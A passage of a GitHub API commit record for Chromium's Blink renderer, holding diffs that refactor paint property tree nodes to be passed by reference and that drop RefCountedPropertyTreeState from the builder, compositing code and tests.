&ClipPaintPropertyNode::Root();\n current.transform = absolute_position.transform = fixed_position.transform =\n- TransformPaintPropertyNode::Root();\n+ &TransformPaintPropertyNode::Root();\n current.scroll = absolute_position.scroll = fixed_position.scroll =\n- ScrollPaintPropertyNode::Root();\n+ &ScrollPaintPropertyNode::Root();\n }\n \n void PaintPropertyTreeBuilder::SetupContextForFrame(\n@@ -295,7 +295,7 @@ void FragmentPaintPropertyTreeBuilder::UpdatePaintOffsetTranslation(\n RuntimeEnabledFeatures::BlinkGenPropertyTreesEnabled())\n state.rendering_context_id = context_.current.rendering_context_id;\n OnUpdate(properties_->UpdatePaintOffsetTranslation(\n- context_.current.transform, std::move(state)));\n+ *context_.current.transform, std::move(state)));\n context_.current.transform = properties_->PaintOffsetTranslation();\n if (object_.IsLayoutView()) {\n context_.absolute_position.transform =\n@@ -331,7 +331,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateTransformForNonRootSVG() {\n if (NeedsTransformForNonRootSVG(object_)) {\n // The origin is included in the local transform, so leave origin empty.\n OnUpdate(properties_->UpdateTransform(\n- context_.current.transform,\n+ *context_.current.transform,\n TransformPaintPropertyNode::State{transform}));\n } else {\n OnClear(properties_->ClearTransform());\n@@ -449,7 +449,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateTransform() {\n object_.UniqueId(), CompositorElementIdNamespace::kPrimary);\n }\n \n- OnUpdate(properties_->UpdateTransform(context_.current.transform,\n+ OnUpdate(properties_->UpdateTransform(*context_.current.transform,\n std::move(state)));\n } else {\n OnClear(properties_->ClearTransform());\n@@ -578,7 +578,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateEffect() {\n combined_clip.Intersect(*clip_path_clip);\n \n OnUpdateClip(properties_->UpdateMaskClip(\n- context_.current.clip,\n+ *context_.current.clip,\n ClipPaintPropertyNode::State{context_.current.transform,\n FloatRoundedRect(combined_clip)}));\n output_clip = properties_->MaskClip();\n@@ -607,8 +607,8 @@ void FragmentPaintPropertyTreeBuilder::UpdateEffect() {\n state.compositor_element_id = CompositorElementIdFromUniqueObjectId(\n object_.UniqueId(), CompositorElementIdNamespace::kPrimary);\n }\n- OnUpdate(\n- properties_->UpdateEffect(context_.current_effect, std::move(state)));\n+ OnUpdate(properties_->UpdateEffect(*context_.current_effect,\n+ std::move(state)));\n \n if (mask_clip || has_spv1_composited_clip_path) {\n EffectPaintPropertyNode::State mask_state;\n@@ -623,16 +623,16 @@ void FragmentPaintPropertyTreeBuilder::UpdateEffect() {\n object_.UniqueId(),\n CompositorElementIdNamespace::kEffectMask);\n }\n- OnUpdate(properties_->UpdateMask(properties_->Effect(),\n+ OnUpdate(properties_->UpdateMask(*properties_->Effect(),\n std::move(mask_state)));\n } else {\n OnClear(properties_->ClearMask());\n }\n \n if (has_mask_based_clip_path) {\n- const EffectPaintPropertyNode* parent = has_spv1_composited_clip_path\n- ? properties_->Mask()\n- : properties_->Effect();\n+ const EffectPaintPropertyNode& parent = has_spv1_composited_clip_path\n+ ? *properties_->Mask()\n+ : *properties_->Effect();\n EffectPaintPropertyNode::State clip_path_state;\n clip_path_state.local_transform_space = context_.current.transform;\n clip_path_state.output_clip = output_clip;\n@@ -746,8 +746,8 @@ void FragmentPaintPropertyTreeBuilder::UpdateFilter() {\n object_.UniqueId(), CompositorElementIdNamespace::kEffectFilter);\n }\n \n- OnUpdate(\n- properties_->UpdateFilter(context_.current_effect, std::move(state)));\n+ OnUpdate(properties_->UpdateFilter(*context_.current_effect,\n+ std::move(state)));\n } else {\n OnClear(properties_->ClearFilter());\n }\n@@ -775,7 +775,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateFragmentClip() {\n if (NeedsPaintPropertyUpdate()) {\n if (context_.fragment_clip) {\n OnUpdateClip(properties_->UpdateFragmentClip(\n- context_.current.clip,\n+ *context_.current.clip,\n ClipPaintPropertyNode::State{context_.current.transform,\n ToClipRect(*context_.fragment_clip)}));\n } else {\n@@ -802,7 +802,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateCssClip() {\n // copy from in-flow context later at updateOutOfFlowContext() step.\n DCHECK(object_.CanContainAbsolutePositionObjects());\n OnUpdateClip(properties_->UpdateCssClip(\n- context_.current.clip,\n+ *context_.current.clip,\n ClipPaintPropertyNode::State{context_.current.transform,\n ToClipRect(ToLayoutBox(object_).ClipRect(\n context_.current.paint_offset))}));\n@@ -835,7 +835,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateClipPathClip(\n state.clip_rect =\n FloatRoundedRect(FloatRect(*fragment_data_.ClipPathBoundingBox()));\n state.clip_path = fragment_data_.ClipPathPath();\n- OnUpdateClip(properties_->UpdateClipPathClip(context_.current.clip,\n+ OnUpdateClip(properties_->UpdateClipPathClip(*context_.current.clip,\n std::move(state)));\n }\n }\n@@ -964,7 +964,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateOverflowControlsClip() {\n // Clip overflow controls to the border box rect. Not wrapped with\n // OnUpdateClip() because this clip doesn't affect descendants.\n properties_->UpdateOverflowControlsClip(\n- context_.current.clip,\n+ *context_.current.clip,\n ClipPaintPropertyNode::State{\n context_.current.transform,\n ToClipRect(LayoutRect(context_.current.paint_offset,\n@@ -1000,7 +1000,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateInnerBorderRadiusClip() {\n LayoutRect(context_.current.paint_offset, box.Size()));\n }\n OnUpdateClip(properties_->UpdateInnerBorderRadiusClip(\n- context_.current.clip, std::move(state)));\n+ *context_.current.clip, std::move(state)));\n } else {\n OnClearClip(properties_->ClearInnerBorderRadiusClip());\n }\n@@ -1071,7 +1071,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateOverflowClip() {\n bool equal_ignoring_hit_test_rects =\n !!existing &&\n existing->EqualIgnoringHitTestRects(context_.current.clip, state);\n- OnUpdateClip(properties_->UpdateOverflowClip(context_.current.clip,\n+ OnUpdateClip(properties_->UpdateOverflowClip(*context_.current.clip,\n std::move(state)),\n equal_ignoring_hit_test_rects);\n } else {\n@@ -1113,7 +1113,7 @@ void FragmentPaintPropertyTreeBuilder::UpdatePerspective() {\n if (RuntimeEnabledFeatures::SlimmingPaintV2Enabled() ||\n RuntimeEnabledFeatures::BlinkGenPropertyTreesEnabled())\n state.rendering_context_id = context_.current.rendering_context_id;\n- OnUpdate(properties_->UpdatePerspective(context_.current.transform,\n+ OnUpdate(properties_->UpdatePerspective(*context_.current.transform,\n std::move(state)));\n } else {\n OnClear(properties_->ClearPerspective());\n@@ -1138,7 +1138,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateSvgLocalToBorderBoxTransform() {\n if (!transform_to_border_box.IsIdentity() &&\n NeedsSVGLocalToBorderBoxTransform(object_)) {\n OnUpdate(properties_->UpdateSvgLocalToBorderBoxTransform(\n- context_.current.transform,\n+ *context_.current.transform,\n TransformPaintPropertyNode::State{transform_to_border_box}));\n } else {\n OnClear(properties_->ClearSvgLocalToBorderBoxTransform());\n@@ -1220,8 +1220,8 @@ void FragmentPaintPropertyTreeBuilder::UpdateScrollAndScrollTranslation() {\n RuntimeEnabledFeatures::BlinkGenPropertyTreesEnabled())\n state.compositor_element_id = scrollable_area->GetCompositorElementId();\n \n- OnUpdate(\n- properties_->UpdateScroll(context_.current.scroll, std::move(state)));\n+ OnUpdate(properties_->UpdateScroll(*context_.current.scroll,\n+ std::move(state)));\n } else {\n OnClear(properties_->ClearScroll());\n }\n@@ -1241,7 +1241,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateScrollAndScrollTranslation() {\n state.rendering_context_id = context_.current.rendering_context_id;\n }\n state.scroll = properties_->Scroll();\n- OnUpdate(properties_->UpdateScrollTranslation(context_.current.transform,\n+ OnUpdate(properties_->UpdateScrollTranslation(*context_.current.transform,\n std::move(state)));\n } else {\n OnClear(properties_->ClearScrollTranslation());\n@@ -1296,7 +1296,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateOutOfFlowContext() {\n } else {\n if (NeedsPaintPropertyUpdate()) {\n OnUpdate(properties_->UpdateCssClipFixedPosition(\n- context_.fixed_position.clip,\n+ *context_.fixed_position.clip,\n ClipPaintPropertyNode::State{css_clip->LocalTransformSpace(),\n css_clip->ClipRect()}));\n }"}<_**next**_>{"sha": "a5e8279e2cf430828e119c57c036c9442c598003", "filename": "third_party/blink/renderer/core/paint/paint_property_tree_builder_test.cc", "status": "modified", "additions": 4, "deletions": 4, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/paint_property_tree_builder_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/paint_property_tree_builder_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/paint/paint_property_tree_builder_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -845,7 +845,7 @@ TEST_P(PaintPropertyTreeBuilderTest, EffectNodesInSVG) {\n PaintPropertiesForElement(\"groupWithOpacity\");\n EXPECT_EQ(0.6f, group_with_opacity_properties->Effect()->Opacity());\n EXPECT_EQ(svg_clip, group_with_opacity_properties->Effect()->OutputClip());\n- EXPECT_EQ(EffectPaintPropertyNode::Root(),\n+ EXPECT_EQ(&EffectPaintPropertyNode::Root(),\n group_with_opacity_properties->Effect()->Parent());\n \n EXPECT_EQ(nullptr, PaintPropertiesForElement(\"rectWithoutOpacity\"));\n@@ -4626,7 +4626,7 @@ TEST_P(PaintPropertyTreeBuilderTest, SVGResource) {\n \n // The <marker> object resets to a new paint property tree, so the\n // transform within it should have the root as parent.\n- EXPECT_EQ(TransformPaintPropertyNode::Root(),\n+ EXPECT_EQ(&TransformPaintPropertyNode::Root(),\n transform_inside_marker_properties->Transform()->Parent());\n \n // Whereas this is not true of the transform above the path.\n@@ -4659,7 +4659,7 @@ TEST_P(PaintPropertyTreeBuilderTest, SVGHiddenResource) {\n \n // The <marker> object resets to a new paint property tree, so the\n // transform within it should have the root as parent.\n- EXPECT_EQ(TransformPaintPropertyNode::Root(),\n+ EXPECT_EQ(&TransformPaintPropertyNode::Root(),\n transform_inside_symbol_properties->Transform()->Parent());\n \n // Whereas this is not true of the transform above the path.\n@@ -4680,7 +4680,7 @@ TEST_P(PaintPropertyTreeBuilderTest, SVGRootBlending) {\n const ObjectPaintProperties* svg_root_properties =\n svg_root.FirstFragment().PaintProperties();\n EXPECT_TRUE(svg_root_properties->Effect());\n- EXPECT_EQ(EffectPaintPropertyNode::Root(),\n+ EXPECT_EQ(&EffectPaintPropertyNode::Root(),\n svg_root_properties->Effect()->Parent());\n }\n "}<_**next**_>{"sha": "cbd6c700deaac30bbe6150c81570b09b12aefa30", "filename": "third_party/blink/renderer/core/paint/view_painter_test.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/view_painter_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/core/paint/view_painter_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/core/paint/view_painter_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -116,7 +116,7 @@ TEST_P(ViewPainterTest, DocumentBackgroundWithScroll) {\n EXPECT_EQ(background_chunk_client, &chunk.id.client);\n \n const auto& tree_state = chunk.properties;\n- EXPECT_EQ(EffectPaintPropertyNode::Root(), tree_state.Effect());\n+ EXPECT_EQ(&EffectPaintPropertyNode::Root(), tree_state.Effect());\n const auto* properties = GetLayoutView().FirstFragment().PaintProperties();\n EXPECT_EQ(properties->ScrollTranslation(), tree_state.Transform());\n EXPECT_EQ(properties->OverflowClip(), tree_state.Clip());"}<_**next**_>{"sha": "f3f0bc491bb7c589d07416163842e940bcf7689f", "filename": "third_party/blink/renderer/platform/BUILD.gn", "status": "modified", "additions": 0, "deletions": 2, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/BUILD.gn", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/BUILD.gn", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/BUILD.gn?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -1061,8 +1061,6 @@ jumbo_component(\"platform\") {\n \"graphics/paint/property_tree_state.h\",\n \"graphics/paint/raster_invalidation_tracking.cc\",\n \"graphics/paint/raster_invalidation_tracking.h\",\n- \"graphics/paint/ref_counted_property_tree_state.cc\",\n- \"graphics/paint/ref_counted_property_tree_state.h\",\n \"graphics/paint/scoped_display_item_fragment.h\",\n \"graphics/paint/scoped_paint_chunk_properties.h\",\n \"graphics/paint/scroll_display_item.cc\","}<_**next**_>{"sha": "83deea6ab05a8ad92f709b3d66f68d93f37f6b4e", "filename": "third_party/blink/renderer/platform/graphics/compositing/chunk_to_layer_mapper.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/chunk_to_layer_mapper.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/chunk_to_layer_mapper.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/chunk_to_layer_mapper.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -12,7 +12,7 @@ namespace blink {\n void ChunkToLayerMapper::SwitchToChunk(const PaintChunk& chunk) {\n outset_for_raster_effects_ = chunk.outset_for_raster_effects;\n \n- const auto& new_chunk_state = chunk.properties.GetPropertyTreeState();\n+ const auto& new_chunk_state = chunk.properties;\n if (new_chunk_state == chunk_state_)\n return;\n "}<_**next**_>{"sha": "79c1bf38ab159b0f66b644f161f319e68f3cb3c5", "filename": "third_party/blink/renderer/platform/graphics/compositing/chunk_to_layer_mapper_test.cc", "status": "modified", "additions": 27, "deletions": 25, "changes": 52, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/chunk_to_layer_mapper_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/chunk_to_layer_mapper_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/chunk_to_layer_mapper_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -27,27 +27,29 @@ class ChunkToLayerMapperTest : public testing::Test {\n // A state containing arbitrary values which should not affect test results\n // if the state is used as a layer state.\n PropertyTreeState LayerState() {\n- DEFINE_STATIC_REF(\n- TransformPaintPropertyNode, transform,\n- CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(123, 456),\n- FloatPoint3D(1, 2, 3)));\n- DEFINE_STATIC_REF(ClipPaintPropertyNode, clip,\n- CreateClip(ClipPaintPropertyNode::Root(), transform,\n- FloatRoundedRect(12, 34, 56, 78)));\n- DEFINE_STATIC_REF(\n- EffectPaintPropertyNode, effect,\n- EffectPaintPropertyNode::Create(\n- EffectPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::State{\n- transform, clip, kColorFilterLuminanceToAlpha,\n- CompositorFilterOperations(), 0.789f, SkBlendMode::kSrcIn}));\n- return PropertyTreeState(transform, clip, effect);\n+ if (!layer_transform_) {\n+ layer_transform_ =\n+ CreateTransform(t0(), TransformationMatrix().Translate(123, 456),\n+ FloatPoint3D(1, 2, 3));\n+ layer_clip_ = CreateClip(c0(), layer_transform_.get(),\n+ FloatRoundedRect(12, 34, 56, 78));\n+ layer_effect_ = EffectPaintPropertyNode::Create(\n+ e0(), EffectPaintPropertyNode::State{\n+ layer_transform_.get(), layer_clip_.get(),\n+ kColorFilterLuminanceToAlpha, CompositorFilterOperations(),\n+ 0.789f, SkBlendMode::kSrcIn});\n+ }\n+ return PropertyTreeState(layer_transform_.get(), layer_clip_.get(),\n+ layer_effect_.get());\n }\n \n bool HasFilterThatMovesPixels(const ChunkToLayerMapper& mapper) {\n return mapper.has_filter_that_moves_pixels_;\n }\n+\n+ std::unique_ptr<TransformPaintPropertyNode> layer_transform_;\n+ std::unique_ptr<ClipPaintPropertyNode> layer_clip_;\n+ std::unique_ptr<EffectPaintPropertyNode> layer_effect_;\n };\n \n TEST_F(ChunkToLayerMapperTest, OneChunkUsingLayerState) {\n@@ -92,9 +94,9 @@ TEST_F(ChunkToLayerMapperTest, TwoChunkUsingLayerState) {\n \n TEST_F(ChunkToLayerMapperTest, TwoChunkSameState) {\n ChunkToLayerMapper mapper(LayerState(), gfx::Vector2dF(10, 20));\n- auto transform = CreateTransform(LayerState().Transform(),\n+ auto transform = CreateTransform(*LayerState().Transform(),\n TransformationMatrix().Scale(2));\n- auto clip = CreateClip(LayerState().Clip(), LayerState().Transform(),\n+ auto clip = CreateClip(*LayerState().Clip(), LayerState().Transform(),\n FloatRoundedRect(10, 10, 100, 100));\n auto* effect = LayerState().Effect();\n auto chunk1 = Chunk(PropertyTreeState(transform.get(), clip.get(), effect));\n@@ -123,16 +125,16 @@ TEST_F(ChunkToLayerMapperTest, TwoChunkSameState) {\n \n TEST_F(ChunkToLayerMapperTest, TwoChunkDifferentState) {\n ChunkToLayerMapper mapper(LayerState(), gfx::Vector2dF(10, 20));\n- auto transform1 = CreateTransform(LayerState().Transform(),\n+ auto transform1 = CreateTransform(*LayerState().Transform(),\n TransformationMatrix().Scale(2));\n- auto clip1 = CreateClip(LayerState().Clip(), LayerState().Transform(),\n+ auto clip1 = CreateClip(*LayerState().Clip(), LayerState().Transform(),\n FloatRoundedRect(10, 10, 100, 100));\n auto* effect = LayerState().Effect();\n auto chunk1 = Chunk(PropertyTreeState(transform1.get(), clip1.get(), effect));\n \n auto transform2 =\n- CreateTransform(transform1, TransformationMatrix().Translate(20, 30));\n- auto clip2 = CreateClip(LayerState().Clip(), transform2,\n+ CreateTransform(*transform1, TransformationMatrix().Translate(20, 30));\n+ auto clip2 = CreateClip(*LayerState().Clip(), transform2.get(),\n FloatRoundedRect(0, 0, 20, 20));\n auto chunk2 = Chunk(PropertyTreeState(transform2.get(), clip2.get(), effect));\n \n@@ -165,21 +167,21 @@ TEST_F(ChunkToLayerMapperTest, SlowPath) {\n // Chunk2 has a blur filter. Should use the slow path.\n CompositorFilterOperations filter2;\n filter2.AppendBlurFilter(20);\n- auto effect2 = CreateFilterEffect(LayerState().Effect(), std::move(filter2));\n+ auto effect2 = CreateFilterEffect(*LayerState().Effect(), std::move(filter2));\n auto chunk2 = Chunk(PropertyTreeState(LayerState().Transform(),\n LayerState().Clip(), effect2.get()));\n \n // Chunk3 has a different effect which inherits from chunk2's effect.\n // Should use the slow path.\n- auto effect3 = CreateOpacityEffect(effect2, 1.f);\n+ auto effect3 = CreateOpacityEffect(*effect2, 1.f);\n auto chunk3 = Chunk(PropertyTreeState(LayerState().Transform(),\n LayerState().Clip(), effect3.get()));\n \n // Chunk4 has an opacity filter effect which inherits from the layer's effect.\n // Should use the fast path.\n CompositorFilterOperations filter4;\n filter4.AppendOpacityFilter(0.5);\n- auto effect4 = CreateFilterEffect(LayerState().Effect(), std::move(filter4));\n+ auto effect4 = CreateFilterEffect(*LayerState().Effect(), std::move(filter4));\n auto chunk4 = Chunk(PropertyTreeState(LayerState().Transform(),\n LayerState().Clip(), effect4.get()));\n "}<_**next**_>{"sha": "b84d8ade547c7086affada60199ee34c9cb0e776", "filename": "third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -56,7 +56,7 @@ static bool ApproximatelyEqual(const SkMatrix& a, const SkMatrix& b) {\n \n PaintInvalidationReason\n CompositedLayerRasterInvalidator::ChunkPropertiesChanged(\n- const RefCountedPropertyTreeState& new_chunk_state,\n+ const PropertyTreeState& new_chunk_state,\n const PaintChunkInfo& new_chunk,\n const PaintChunkInfo& old_chunk,\n const PropertyTreeState& layer_state) const {"}<_**next**_>{"sha": "02529e49525433d64fbe13af4cd0063d66daad29", "filename": "third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -114,7 +114,7 @@ class PLATFORM_EXPORT CompositedLayerRasterInvalidator {\n PaintInvalidationReason,\n const String* debug_name = nullptr);\n PaintInvalidationReason ChunkPropertiesChanged(\n- const RefCountedPropertyTreeState& new_chunk_state,\n+ const PropertyTreeState& new_chunk_state,\n const PaintChunkInfo& new_chunk,\n const PaintChunkInfo& old_chunk,\n const PropertyTreeState& layer_state) const;"}<_**next**_>{"sha": "adb969ca48a436bc8689181687f2354974f22057", "filename": "third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator_test.cc", "status": "modified", "additions": 53, "deletions": 72, "changes": 125, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/compositing/composited_layer_raster_invalidator_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -39,19 +39,16 @@ class CompositedLayerRasterInvalidatorTest\n }\n \n CompositedLayerRasterInvalidatorTest& Properties(\n- const TransformPaintPropertyNode* t,\n- const ClipPaintPropertyNode* c = ClipPaintPropertyNode::Root(),\n- const EffectPaintPropertyNode* e = EffectPaintPropertyNode::Root()) {\n- auto& state = data_.chunks.back().properties;\n- state.SetTransform(t);\n- state.SetClip(c);\n- state.SetEffect(e);\n+ const PropertyTreeState& state) {\n+ data_.chunks.back().properties = state;\n return *this;\n }\n \n CompositedLayerRasterInvalidatorTest& Properties(\n- const RefCountedPropertyTreeState& state) {\n- data_.chunks.back().properties = state;\n+ const TransformPaintPropertyNode& t,\n+ const ClipPaintPropertyNode& c,\n+ const EffectPaintPropertyNode& e) {\n+ Properties(PropertyTreeState(&t, &c, &e));\n return *this;\n }\n \n@@ -351,22 +348,17 @@ TEST_F(CompositedLayerRasterInvalidatorTest, ClipPropertyChangeRounded) {\n FloatRoundedRect::Radii radii(FloatSize(1, 2), FloatSize(2, 3),\n FloatSize(3, 4), FloatSize(4, 5));\n FloatRoundedRect clip_rect(FloatRect(-1000, -1000, 2000, 2000), radii);\n- scoped_refptr<ClipPaintPropertyNode> clip0 =\n- CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(), clip_rect);\n- scoped_refptr<ClipPaintPropertyNode> clip2 =\n- CreateClip(clip0, TransformPaintPropertyNode::Root(), clip_rect);\n-\n- PropertyTreeState layer_state(TransformPaintPropertyNode::Root(), clip0.get(),\n- EffectPaintPropertyNode::Root());\n- auto artifact =\n- Chunk(0)\n- .Properties(layer_state)\n- .Chunk(1)\n- .Properties(layer_state)\n- .Chunk(2)\n- .Properties(TransformPaintPropertyNode::Root(), clip2.get())\n- .Build();\n+ auto clip0 = CreateClip(c0(), &t0(), clip_rect);\n+ auto clip2 = CreateClip(*clip0, &t0(), clip_rect);\n+\n+ PropertyTreeState layer_state(&t0(), clip0.get(), &e0());\n+ auto artifact = Chunk(0)\n+ .Properties(layer_state)\n+ .Chunk(1)\n+ .Properties(layer_state)\n+ .Chunk(2)\n+ .Properties(t0(), *clip2, e0())\n+ .Build();\n \n GeometryMapperClipCache::ClearCache();\n invalidator.SetTracksRasterInvalidations(true);\n@@ -382,10 +374,10 @@ TEST_F(CompositedLayerRasterInvalidatorTest, ClipPropertyChangeRounded) {\n .Properties(artifact.PaintChunks()[2].properties)\n .Build();\n FloatRoundedRect new_clip_rect(FloatRect(-2000, -2000, 4000, 4000), radii);\n- clip0->Update(clip0->Parent(),\n+ clip0->Update(*clip0->Parent(),\n ClipPaintPropertyNode::State{clip0->LocalTransformSpace(),\n new_clip_rect});\n- clip2->Update(clip2->Parent(),\n+ clip2->Update(*clip2->Parent(),\n ClipPaintPropertyNode::State{clip2->LocalTransformSpace(),\n new_clip_rect});\n \n@@ -423,21 +415,17 @@ TEST_F(CompositedLayerRasterInvalidatorTest, ClipPropertyChangeRounded) {\n TEST_F(CompositedLayerRasterInvalidatorTest, ClipPropertyChangeSimple) {\n CompositedLayerRasterInvalidator invalidator(kNoopRasterInvalidation);\n FloatRoundedRect clip_rect(-1000, -1000, 2000, 2000);\n- scoped_refptr<ClipPaintPropertyNode> clip0 =\n- CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(), clip_rect);\n- scoped_refptr<ClipPaintPropertyNode> clip1 =\n- CreateClip(clip0, TransformPaintPropertyNode::Root(), clip_rect);\n+ auto clip0 = CreateClip(c0(), &t0(), clip_rect);\n+ auto clip1 = CreateClip(*clip0, &t0(), clip_rect);\n \n PropertyTreeState layer_state = PropertyTreeState::Root();\n- auto artifact =\n- Chunk(0)\n- .Properties(TransformPaintPropertyNode::Root(), clip0.get())\n- .Bounds(clip_rect.Rect())\n- .Chunk(1)\n- .Properties(TransformPaintPropertyNode::Root(), clip1.get())\n- .Bounds(clip_rect.Rect())\n- .Build();\n+ auto artifact = Chunk(0)\n+ .Properties(t0(), *clip0, e0())\n+ .Bounds(clip_rect.Rect())\n+ .Chunk(1)\n+ .Properties(t0(), *clip1, e0())\n+ .Bounds(clip_rect.Rect())\n+ .Build();\n \n GeometryMapperClipCache::ClearCache();\n invalidator.SetTracksRasterInvalidations(true);\n@@ -447,7 +435,7 @@ TEST_F(CompositedLayerRasterInvalidatorTest, ClipPropertyChangeSimple) {\n // Change clip1 to bigger, which is still bound by clip0, resulting no actual\n // visual change.\n FloatRoundedRect new_clip_rect1(-2000, -2000, 4000, 4000);\n- clip1->Update(clip1->Parent(),\n+ clip1->Update(*clip1->Parent(),\n ClipPaintPropertyNode::State{clip1->LocalTransformSpace(),\n new_clip_rect1});\n auto new_artifact1 = Chunk(0)\n@@ -465,7 +453,7 @@ TEST_F(CompositedLayerRasterInvalidatorTest, ClipPropertyChangeSimple) {\n \n // Change clip1 to smaller.\n FloatRoundedRect new_clip_rect2(-500, -500, 1000, 1000);\n- clip1->Update(clip1->Parent(),\n+ clip1->Update(*clip1->Parent(),\n ClipPaintPropertyNode::State{clip1->LocalTransformSpace(),\n new_clip_rect2});\n auto new_artifact2 = Chunk(0)\n@@ -498,7 +486,7 @@ TEST_F(CompositedLayerRasterInvalidatorTest, ClipPropertyChangeSimple) {\n \n // Change clip1 bigger at one side.\n FloatRoundedRect new_clip_rect3(-500, -500, 2000, 1000);\n- clip1->Update(clip1->Parent(),\n+ clip1->Update(*clip1->Parent(),\n ClipPaintPropertyNode::State{clip1->LocalTransformSpace(),\n new_clip_rect3});\n auto new_artifact3 = Chunk(0)\n@@ -525,20 +513,17 @@ TEST_F(CompositedLayerRasterInvalidatorTest, ClipPropertyChangeSimple) {\n TEST_F(CompositedLayerRasterInvalidatorTest, TransformPropertyChange) {\n CompositedLayerRasterInvalidator invalidator(kNoopRasterInvalidation);\n \n- auto layer_transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Scale(5));\n- auto transform0 = CreateTransform(layer_transform,\n+ auto layer_transform = CreateTransform(t0(), TransformationMatrix().Scale(5));\n+ auto transform0 = CreateTransform(*layer_transform,\n TransformationMatrix().Translate(10, 20));\n auto transform1 =\n- CreateTransform(transform0, TransformationMatrix().Translate(-50, -60));\n+ CreateTransform(*transform0, TransformationMatrix().Translate(-50, -60));\n \n- PropertyTreeState layer_state(layer_transform.get(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n+ PropertyTreeState layer_state(layer_transform.get(), &c0(), &e0());\n auto artifact = Chunk(0)\n- .Properties(transform0.get())\n+ 